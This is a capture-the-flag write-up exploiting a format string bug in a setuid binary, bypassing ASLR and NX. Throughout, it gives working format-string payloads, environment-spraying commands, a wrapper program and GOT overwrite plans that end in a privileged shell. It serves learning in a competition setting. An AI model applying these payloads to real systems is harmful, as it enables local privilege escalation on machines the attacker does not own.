SSH : 208.64.122.235
guest:guest
Category: exploitation
Summary: format string bug, ASLR and NX
Intro
The binary is simple – it just prints any line from a given file.
At first this challenge contained a hard version of binary: it dropped effective UID to guest, so we needed to make setuid(X79) before executing bash (we could do it, because SAVED UID was X79).
But later organizers decided that it’s too hard and posted a new binary without dropping privs. Funny, but it allowed to print a flag directly from file:
$ ./X79 FLAG_BABY
3V1L_D4NCE_X8 |
It was the first flag. Later organizers added again a “hard” version. Here’s what we have:
dr-------- 2 X79 X79 4096 2012-02-13 12:27 FLAG -rwsr-xr-x 1 X79 X79 6457 2012-02-13 12:24 X79 |
Searching for bug
Decompiled source is pretty easy:
int main(int argc, char * argv;) { int i; char s[116]; FILE * fd; seteuid(502); char *format = (char *)malloc(strlen(argv[0]) + 400); if (argc == 2) { fd = fopen(argv[1], "r"); if (!fd) exit(0); srand(time(0)); for (i = rand() % 10 + 1; i && fgets(&s, 100, fdd); --i); } else if (argv <= 2) { snprintf(format, strlen(format) - 1, "Usage %s: filename [line]\n", argv[0]); printf(format); exit(0); } else { fd = fopen(argv[1], "r"); if (!fd) exit(0); for (i = atoi(argv[2]) % 10; i && fgets(&s, 100, fd); --i); } printf("Quote of the day: %s", &s); return 0; } |
You see – here we have a formatstring vuln – format to printf is generated using argv[0]. Let’s check:
$ ln -s X79 '%p%p%p%p' $ ./%p%p%p%p Usage ./0xffffffff0x80488f20xbf9a78dc0xb77f0ad0: filename [line] |
Yeah it works!
Looking around
We have ASLR here, and the stack is NX. Well, ASLR is rather disturbing: we don’t have any data in main‘s stackframe (our part of formatstring is in argv[0]), so argument numbers pointing to our data aren’t constant and have some variation. This problem can be solved by placing a lot of addresses in some ENV variable:
$ export ADDR="`perl -e 'print "A"x8000 . "B"x8000 . "1"x8000 . "2"x8000;'`" |
So we can take 1000th argument, then the next is 3000th and so on. Most probably we’ll get into our addresses.
A good thing is that we have a neat trick to disable libc ASLR:
$ ulimit -s unlimited $ ldd ./X79 linux-gate.so.1 => (0x40020000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x4003a000) /lib/ld-linux.so.2 (0x40000000) $ ldd ./X79 linux-gate.so.1 => (0x40020000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x4003a000) /lib/ld-linux.so.2 (0x40000000) |
Exploiting 1
Let’s first try to launch a shell, without doing setuid(X79). Luckily dynamic section is writable here, so we can use dynamic->.fini.
We can use this nice piece of code:
.text:080487F7 mov dword ptr [esp], offset aQuoteOfTheDayS ; "Quote of the day: %s" .text:080487FE call _printf |
The plan is to overwrite:
fini -> 080487F7 printf@got -> execl@libc |
For generating the payload, i’ll use a bit modified version of libformatstr:
#$ objdump -d /lib/i386-linux-gnu/libc.so.6 | grep 'execl>:' #0009bc20 <execl>: libc = 0x4003a000 execl = 0x009bc20 + libc fini = 0x80499c0 printf_quote = 0x080487F7 got_printf = 0x8049A98 p = FormatStr(200) p[fini] = printf_quote p[got_printf] = execl ... |
Also we need a wrapper to execute:
//gcc x.c -o x int main(int argc, char ** argv) { execl("./X79", argv[1], NULL); } |
Here’s produced payload:
$ py easy.py export ADDR="`perl -e 'print "\xc2\x99\x04\x08"x2000 . "\x9a\x9a\x04\x08"x2000 . "\x98\x9a\x04\x08"x2000 . "\xc0\x99\x04\x08"x2000;'`" ./x '%2000$08xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' ./x '%2046c%2000$hn%14345c%4000$hn%7187c%6000$hn%11223c%8000$hnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' |
Let’s try it:
$ cat >'Quote of the day: %s' #!/bin/bash -p bash -p $ chmod +x 'Quote of the day: %s' $ export PATH=".:$PATH" $ export ADDR="`perl -e 'print "\xc2\x99\x04\x08"x2000 . "\x9a\x9a\x04\x08"x2000 . "\x98\x9a\x04\x08"x2000 . "\xc0\x99\x04\x08"x2000;'`"xx # added xx because of wrong padding $ ./x '%2000$08xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' Usage 080499c2xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx: filename [line] $ ./x '%2046c%2000$hn%14345c%4000$hn%7187c%6000$hn%11223c%8000$hnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' bash-4.2$ id uid=502(guest) gid=502(guest) groups=502(guest) |
Oh, we did it! But privs are dropped.. Funny, there was an easy way to avoid this.
We could exploit easy version, which doesn’t drop privs and get UID=X97 (or even easier, there was another account added by organizers: guest2 (why??)).
So, the X79 binary wouldn’t be able to change seteuid to guest (because we are not guest). And we’ll get a good shell:
$ ./x '%2046c%2000$hn%14345c%4000$hn%7187c%6000$hn%11223c%8000$hnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' bash-4.2$ id uid=504(guest2) gid=504(guest2) euid=503(X79) groups=503(X79) |
Ok, not let’s try to solve it in a right way.
Exploiting 2
It’s supposed that we need to set uid/euid before calling execl. We can try to find ways to call mprotect and run shellcode, but there’s another tricky way:
.text:08048631 mov dword ptr [esp], 0 ; timer .text:08048638 call _time .text:0804863D mov [esp], eax ; seed .text:08048640 call _srand .text:08048645 call _rand |
Just a simple piece of code, isn’t it? :)
Hehe, we can use it to make setuid(503) and execl(“Quote of the day: %s”):
It’s easy to see that srand‘s argument is a result of time(0). If we can control time(0), we can change srand to setuid and rand to printf_quote.
But what libc function’s result we can control, assuming its argument is 0? A good choice is dup(0): we can open 502 descriptors, and dup(0) will return 503 after that.
So, the plan is to overwrite:
time@got -> dup@libc srand@got -> setuid@libc rand@got -> printf_quote fini -> 0x080487F0 <- also make the second argument valid pointer printf@got -> execl@libc |
That’s rather tricky! We also need to change our wrapper:
int main(int argc, char ** argv) { while (dup(0) != 502); execl("./X79", argv[1], NULL); } |
Here’s exploit:
libc = 0x4003a000 execl = 0x009bc20 + libc setuid = 0x009c470 + libc dup = 0x00c1c50 + libc fini = 0x80499c0 printf_quote = 0x080487F0 # need a valid second pointer too time_srand = 0x08048631 got_printf = 0x8049A98 got_srand = 0x8049A84 got_time = 0x8049AA0 got_rand = 0x8049AA8 p = FormatStr(200) p[got_time] = dup p[got_srand] = setuid p[got_rand] = printf_quote p[fini] = time_srand p[got_printf] = execl ... |
$ id uid=502(guest) gid=502(guest) groups=502(guest) $ ulimit -s unlimited $ export PATH=".:$PATH" $ python hard.py export ADDR="`perl -e 'print "\xc2\x99\x04\x08"x2000 . "\xaa\x9a\x04\x08"x2000 . "\x86\x9a\x04\x08"x2000 . "\x9a\x9a\x04\x08"x2000 . "\xa2\x9a\x04\x08"x2000 . "\x98\x9a\x04\x08"x2000 . "\x84\x9a\x04\x08"x2000 . "\xc0\x99\x04\x08"x2000 . "\xa8\x9a\x04\x08"x2000 . "\xa0\x9a\x04\x08"x2000;'`" ./x '%2000$08xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' ./x '%2046c%2000$hn%4000$hn%14345c%6000$hn%8000$hnAA%10000$hn%7185c%12000$hn%2128c%14000$hn%8641c%16000$hn%447c%18000$hn%13408c%20000$hnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' $ export ADDR="`perl -e 'print "\xc2\x99\x04\x08"x2000 . "\xaa\x9a\x04\x08"x2000 . "\x86\x9a\x04\x08"x2000 . "\x9a\x9a\x04\x08"x2000 . "\xa2\x9a\x04\x08"x2000 . "\x98\x9a\x04\x08"x2000 . "\x84\x9a\x04\x08"x2000 . "\xc0\x99\x04\x08"x2000 . "\xa8\x9a\x04\x08"x2000 . "\xa0\x9a\x04\x08"x2000;'`" $ ./x '%2000$08xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' Usage 080499c2xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx: filename [line] $ ./x '%2046c%2000$hn%4000$hn%14345c%6000$hn%8000$hnAA%10000$hn%7185c%12000$hn%2128c%14000$hn%8641c%16000$hn%447c%18000$hn%13408c%20000$hnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ... bash-4.2$ id uid=502(guest) gid=502(guest) euid=503(X79) groups=503(X79),502(guest) bash-4.2$ ls -al FLAG/ ls: cannot access FLAG/.: Permission denied ls: cannot access FLAG/SHIT_H4PP3N5_XD: Permission denied ls: cannot access FLAG/..: Permission denied total 0 d????????? ? ? ? ? ? . d????????? ? ? ? ? ? .. -????????? ? ? ? ? ? SHIT_H4PP3N5_XD |
Yeah! The second flag is: SHIT_H4PP3N5_XD.
4 comments
Skip to comment form
epic :)
Pretty awesome! :-)
Congratulations for winning this CTF. You are doing a great job with your write-ups, thanks for helping me and other participants learn from how you did this.
Good luck in the finals.
awesome hellman :)